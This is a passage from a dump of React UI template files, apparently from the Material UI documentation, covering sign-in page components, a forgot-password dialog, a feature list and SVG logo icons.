 <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function FacebookIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M6.68 15.92C2.88 15.24 0 11.96 0 8C0 3.6 3.6 0 8 0C12.4 0 16 3.6 16 8C16 11.96 13.12 15.24 9.32 15.92L8.88 15.56H7.12L6.68 15.92Z\"\n          fill=\"url(#paint0_linear_795_116)\"\n        />\n        <path\n          d=\"M11.12 10.2391L11.48 7.99914H9.36V6.43914C9.36 5.79914 9.6 5.31914 10.56 5.31914H11.6V3.27914C11.04 3.19914 10.4 3.11914 9.84 3.11914C8 3.11914 6.72 4.23914 6.72 6.23914V7.99914H4.72V10.2391H6.72V15.8791C7.16 15.9591 7.6 15.9991 8.04 15.9991C8.48 15.9991 8.92 15.9591 9.36 15.8791V10.2391H11.12Z\"\n          fill=\"white\"\n        />\n        <defs>\n          <linearGradient\n            id=\"paint0_linear_795_116\"\n            x1=\"8\"\n            y1=\"0\"\n            x2=\"8\"\n            y2=\"15.9991\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop stopColor=\"#1AAFFF\" />\n            <stop offset=\"1\" stopColor=\"#0163E0\" />\n          </linearGradient>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function GoogleIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M15.68 8.18182C15.68 7.61455 15.6291 7.06909 15.5345 6.54545H8V9.64364H12.3055C12.1164 10.64 11.5491 11.4836 10.6982 12.0509V14.0655H13.2945C14.8073 12.6691 15.68 10.6182 15.68 8.18182Z\"\n          fill=\"#4285F4\"\n        />\n        <path\n          d=\"M8 16C10.16 16 11.9709 15.2873 13.2945 14.0655L10.6982 12.0509C9.98545 12.5309 9.07636 12.8218 8 12.8218C5.92 12.8218 4.15273 11.4182 3.52 9.52727H0.858182V11.5927C2.17455 14.2036 4.87273 16 8 16Z\"\n          fill=\"#34A853\"\n        />\n        <path\n          d=\"M3.52 9.52C3.36 9.04 3.26545 8.53091 3.26545 8C3.26545 7.46909 3.36 6.96 3.52 6.48V4.41455H0.858182C0.312727 5.49091 0 6.70545 0 8C0 9.29455 0.312727 10.5091 0.858182 11.5855L2.93091 9.97091L3.52 9.52Z\"\n          fill=\"#FBBC05\"\n        />\n        <path\n          d=\"M8 3.18545C9.17818 3.18545 10.2255 3.59273 11.0618 4.37818L13.3527 2.08727C11.9636 0.792727 10.16 0 8 0C4.87273 0 2.17455 1.79636 0.858182 4.41455L3.52 6.48C4.15273 4.58909 5.92 3.18545 8 3.18545Z\"\n          fill=\"#EA4335\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in/components/ForgotPassword.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport OutlinedInput from '@mui/material/OutlinedInput';\n\nfunction ForgotPassword({ open, handleClose }) {\n  return (\n    <Dialog\n      open={open}\n      onClose={handleClose}\n      slotProps={{\n        paper: {\n          component: 'form',\n          onSubmit: (event) => {\n            event.preventDefault();\n            handleClose();\n          },\n          sx: { backgroundImage: 'none' },\n        },\n      }}\n    >\n      <DialogTitle>Reset password</DialogTitle>\n      <DialogContent\n        sx={{ display: 'flex', flexDirection: 'column', gap: 2, width: '100%' }}\n      >\n        <DialogContentText>\n          Enter your account&apos;s email address, and we&apos;ll send you a link to\n          reset your password.\n        </DialogContentText>\n        <OutlinedInput\n          autoFocus\n          required\n          margin=\"dense\"\n          id=\"email\"\n          name=\"email\"\n          label=\"Email address\"\n          placeholder=\"Email address\"\n          type=\"email\"\n          fullWidth\n        />\n      </DialogContent>\n      <DialogActions sx={{ pb: 3, px: 3 }}>\n        <Button onClick={handleClose}>Cancel</Button>\n        <Button variant=\"contained\" type=\"submit\">\n          Continue\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nForgotPassword.propTypes = {\n  handleClose: PropTypes.func.isRequired,\n  open: PropTypes.bool.isRequired,\n};\n\nexport default ForgotPassword;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in/components/ForgotPassword.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport OutlinedInput from '@mui/material/OutlinedInput';\n\ninterface ForgotPasswordProps {\n  open: boolean;\n  handleClose: () => void;\n}\n\nexport default function ForgotPassword({ open, handleClose }: ForgotPasswordProps) {\n  return (\n    <Dialog\n      open={open}\n      onClose={handleClose}\n      slotProps={{\n        paper: {\n          component: 'form',\n          onSubmit: (event: React.SubmitEvent<HTMLFormElement>) => {\n            event.preventDefault();\n            handleClose();\n          },\n          sx: { backgroundImage: 'none' },\n        },\n      }}\n    >\n      <DialogTitle>Reset password</DialogTitle>\n      <DialogContent\n        sx={{ display: 'flex', flexDirection: 'column', gap: 2, width: '100%' }}\n      >\n        <DialogContentText>\n          Enter your account&apos;s email address, and we&apos;ll send you a link to\n          reset your password.\n        </DialogContentText>\n        <OutlinedInput\n          autoFocus\n          required\n          margin=\"dense\"\n          id=\"email\"\n          name=\"email\"\n          label=\"Email address\"\n          placeholder=\"Email address\"\n          type=\"email\"\n          fullWidth\n        />\n      </DialogContent>\n      <DialogActions sx={{ pb: 3, px: 3 }}>\n        <Button onClick={handleClose}>Cancel</Button>\n        <Button variant=\"contained\" type=\"submit\">\n          Continue\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/README.md",
    "content": "# Sign-in side template\n\n## Usage\n\n<!-- #target-branch-reference -->\n\n1. Copy these folders (`sign-in-side` and `shared-theme`) into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).\n2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react.\n3. Import and use the `SignInSide` component.\n\n## Demo\n\n<!-- #host-reference -->\n\nView the demo at https://next.mui.com/material-ui/getting-started/templates/sign-in-side/.\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/SignInSide.js",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport Stack from '@mui/material/Stack';\nimport AppTheme from '../shared-theme/AppTheme';\nimport ColorModeSelect from '../shared-theme/ColorModeSelect';\nimport SignInCard from './components/SignInCard';\nimport Content from './components/Content';\n\nexport default function SignInSide(props) {\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <ColorModeSelect sx={{ position: 'fixed', top: '1rem', right: '1rem' }} />\n      <Stack\n        direction=\"column\"\n        component=\"main\"\n        sx={[\n          {\n            justifyContent: 'center',\n            height: 'calc((1 - var(--template-frame-height, 0)) * 100%)',\n            marginTop: 'max(40px - var(--template-frame-height, 0px), 0px)',\n            minHeight: '100%',\n          },\n          (theme) => ({\n            '&::before': {\n              content: '\"\"',\n              display: 'block',\n              position: 'absolute',\n              zIndex: -1,\n              inset: 0,\n              backgroundImage:\n                'radial-gradient(ellipse at 50% 50%, hsl(210, 100%, 97%), hsl(0, 0%, 100%))',\n              backgroundRepeat: 'no-repeat',\n              ...theme.applyStyles('dark', {\n                backgroundImage:\n                  'radial-gradient(at 50% 50%, hsla(210, 100%, 16%, 0.5), hsl(220, 30%, 5%))',\n              }),\n            },\n          }),\n        ]}\n      >\n        <Stack\n          direction={{ xs: 'column-reverse', md: 'row' }}\n          sx={{\n            justifyContent: 'center',\n            gap: { xs: 6, sm: 12 },\n            p: 2,\n            mx: 'auto',\n          }}\n        >\n          <Stack\n            direction={{ xs: 'column-reverse', md: 'row' }}\n            sx={{\n              justifyContent: 'center',\n              gap: { xs: 6, sm: 12 },\n              p: { xs: 2, sm: 4 },\n              m: 'auto',\n            }}\n          >\n            <Content />\n            <SignInCard />\n          </Stack>\n        </Stack>\n      </Stack>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/SignInSide.tsx",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport Stack from '@mui/material/Stack';\nimport AppTheme from '../shared-theme/AppTheme';\nimport ColorModeSelect from '../shared-theme/ColorModeSelect';\nimport SignInCard from './components/SignInCard';\nimport Content from './components/Content';\n\nexport default function SignInSide(props: { disableCustomTheme?: boolean }) {\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <ColorModeSelect sx={{ position: 'fixed', top: '1rem', right: '1rem' }} />\n      <Stack\n        direction=\"column\"\n        component=\"main\"\n        sx={[\n          {\n            justifyContent: 'center',\n            height: 'calc((1 - var(--template-frame-height, 0)) * 100%)',\n            marginTop: 'max(40px - var(--template-frame-height, 0px), 0px)',\n            minHeight: '100%',\n          },\n          (theme) => ({\n            '&::before': {\n              content: '\"\"',\n              display: 'block',\n              position: 'absolute',\n              zIndex: -1,\n              inset: 0,\n              backgroundImage:\n                'radial-gradient(ellipse at 50% 50%, hsl(210, 100%, 97%), hsl(0, 0%, 100%))',\n              backgroundRepeat: 'no-repeat',\n              ...theme.applyStyles('dark', {\n                backgroundImage:\n                  'radial-gradient(at 50% 50%, hsla(210, 100%, 16%, 0.5), hsl(220, 30%, 5%))',\n              }),\n            },\n          }),\n        ]}\n      >\n        <Stack\n          direction={{ xs: 'column-reverse', md: 'row' }}\n          sx={{\n            justifyContent: 'center',\n            gap: { xs: 6, sm: 12 },\n            p: 2,\n            mx: 'auto',\n          }}\n        >\n          <Stack\n            direction={{ xs: 'column-reverse', md: 'row' }}\n            sx={{\n              justifyContent: 'center',\n              gap: { xs: 6, sm: 12 },\n              p: { xs: 2, sm: 4 },\n              m: 'auto',\n            }}\n          >\n            <Content />\n            <SignInCard />\n          </Stack>\n        </Stack>\n      </Stack>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/components/Content.js",
    "content": "import Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport AutoFixHighRoundedIcon from '@mui/icons-material/AutoFixHighRounded';\nimport ConstructionRoundedIcon from '@mui/icons-material/ConstructionRounded';\nimport SettingsSuggestRoundedIcon from '@mui/icons-material/SettingsSuggestRounded';\nimport ThumbUpAltRoundedIcon from '@mui/icons-material/ThumbUpAltRounded';\nimport { SitemarkIcon } from './CustomIcons';\n\nconst items = [\n  {\n    icon: <SettingsSuggestRoundedIcon sx={{ color: 'text.secondary' }} />,\n    title: 'Adaptable performance',\n    description:\n      'Our product effortlessly adjusts to your needs, boosting efficiency and simplifying your tasks.',\n  },\n  {\n    icon: <ConstructionRoundedIcon sx={{ color: 'text.secondary' }} />,\n    title: 'Built to last',\n    description:\n      'Experience unmatched durability that goes above and beyond with lasting investment.',\n  },\n  {\n    icon: <ThumbUpAltRoundedIcon sx={{ color: 'text.secondary' }} />,\n    title: 'Great user experience',\n    description:\n      'Integrate our product into your routine with an intuitive and easy-to-use interface.',\n  },\n  {\n    icon: <AutoFixHighRoundedIcon sx={{ color: 'text.secondary' }} />,\n    title: 'Innovative functionality',\n    description:\n      'Stay ahead with features that set new standards, addressing your evolving needs better than the rest.',\n  },\n];\n\nexport default function Content() {\n  return (\n    <Stack\n      sx={{ flexDirection: 'column', alignSelf: 'center', gap: 4, maxWidth: 450 }}\n    >\n      <Box sx={{ display: { xs: 'none', md: 'flex' } }}>\n        <SitemarkIcon />\n      </Box>\n      {items.map((item, index) => (\n        <Stack key={index} direction=\"row\" sx={{ gap: 2 }}>\n          {item.icon}\n          <div>\n            <Typography gutterBottom sx={{ fontWeight: 'medium' }}>\n              {item.title}\n            </Typography>\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n              {item.description}\n            </Typography>\n          </div>\n        </Stack>\n      ))}\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/components/Content.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport AutoFixHighRoundedIcon from '@mui/icons-material/AutoFixHighRounded';\nimport ConstructionRoundedIcon from '@mui/icons-material/ConstructionRounded';\nimport SettingsSuggestRoundedIcon from '@mui/icons-material/SettingsSuggestRounded';\nimport ThumbUpAltRoundedIcon from '@mui/icons-material/ThumbUpAltRounded';\nimport { SitemarkIcon } from './CustomIcons';\n\nconst items = [\n  {\n    icon: <SettingsSuggestRoundedIcon sx={{ color: 'text.secondary' }} />,\n    title: 'Adaptable performance',\n    description:\n      'Our product effortlessly adjusts to your needs, boosting efficiency and simplifying your tasks.',\n  },\n  {\n    icon: <ConstructionRoundedIcon sx={{ color: 'text.secondary' }} />,\n    title: 'Built to last',\n    description:\n      'Experience unmatched durability that goes above and beyond with lasting investment.',\n  },\n  {\n    icon: <ThumbUpAltRoundedIcon sx={{ color: 'text.secondary' }} />,\n    title: 'Great user experience',\n    description:\n      'Integrate our product into your routine with an intuitive and easy-to-use interface.',\n  },\n  {\n    icon: <AutoFixHighRoundedIcon sx={{ color: 'text.secondary' }} />,\n    title: 'Innovative functionality',\n    description:\n      'Stay ahead with features that set new standards, addressing your evolving needs better than the rest.',\n  },\n];\n\nexport default function Content() {\n  return (\n    <Stack\n      sx={{ flexDirection: 'column', alignSelf: 'center', gap: 4, maxWidth: 450 }}\n    >\n      <Box sx={{ display: { xs: 'none', md: 'flex' } }}>\n        <SitemarkIcon />\n      </Box>\n      {items.map((item, index) => (\n        <Stack key={index} direction=\"row\" sx={{ gap: 2 }}>\n          {item.icon}\n          <div>\n            <Typography gutterBottom sx={{ fontWeight: 'medium' }}>\n              {item.title}\n            </Typography>\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n              {item.description}\n            </Typography>\n          </div>\n        </Stack>\n      ))}\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/components/CustomIcons.js",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100, mr: 2 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function FacebookIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M6.68 15.92C2.88 15.24 0 11.96 0 8C0 3.6 3.6 0 8 0C12.4 0 16 3.6 16 8C16 11.96 13.12 15.24 9.32 15.92L8.88 15.56H7.12L6.68 15.92Z\"\n          fill=\"url(#paint0_linear_795_116)\"\n        />\n        <path\n          d=\"M11.12 10.2391L11.48 7.99914H9.36V6.43914C9.36 5.79914 9.6 5.31914 10.56 5.31914H11.6V3.27914C11.04 3.19914 10.4 3.11914 9.84 3.11914C8 3.11914 6.72 4.23914 6.72 6.23914V7.99914H4.72V10.2391H6.72V15.8791C7.16 15.9591 7.6 15.9991 8.04 15.9991C8.48 15.9991 8.92 15.9591 9.36 15.8791V10.2391H11.12Z\"\n          fill=\"white\"\n        />\n        <defs>\n          <linearGradient\n            id=\"paint0_linear_795_116\"\n            x1=\"8\"\n            y1=\"0\"\n            x2=\"8\"\n            y2=\"15.9991\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop stopColor=\"#1AAFFF\" />\n            <stop offset=\"1\" stopColor=\"#0163E0\" />\n          </linearGradient>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function GoogleIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M15.68 8.18182C15.68 7.61455 15.6291 7.06909 15.5345 6.54545H8V9.64364H12.3055C12.1164 10.64 11.5491 11.4836 10.6982 12.0509V14.0655H13.2945C14.8073 12.6691 15.68 10.6182 15.68 8.18182Z\"\n          fill=\"#4285F4\"\n        />\n        <path\n          d=\"M8 16C10.16 16 11.9709 15.2873 13.2945 14.0655L10.6982 12.0509C9.98545 12.5309 9.07636 12.8218 8 12.8218C5.92 12.8218 4.15273 11.4182 3.52 9.52727H0.858182V11.5927C2.17455 14.2036 4.87273 16 8 16Z\"\n          fill=\"#34A853\"\n        />\n        <path\n          d=\"M3.52 9.52C3.36 9.04 3.26545 8.53091 3.26545 8C3.26545 7.46909 3.36 6.96 3.52 6.48V4.41455H0.858182C0.312727 5.49091 0 6.70545 0 8C0 9.29455 0.312727 10.5091 0.858182 11.5855L2.93091 9.97091L3.52 9.52Z\"\n          fill=\"#FBBC05\"\n        />\n        <path\n          d=\"M8 3.18545C9.17818 3.18545 10.2255 3.59273 11.0618 4.37818L13.3527 2.08727C11.9636 0.792727 10.16 0 8 0C4.87273 0 2.17455 1.79636 0.858182 4.41455L3.52 6.48C4.15273 4.58909 5.92 3.18545 8 3.18545Z\"\n          fill=\"#EA4335\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/components/CustomIcons.tsx",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100, mr: 2 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 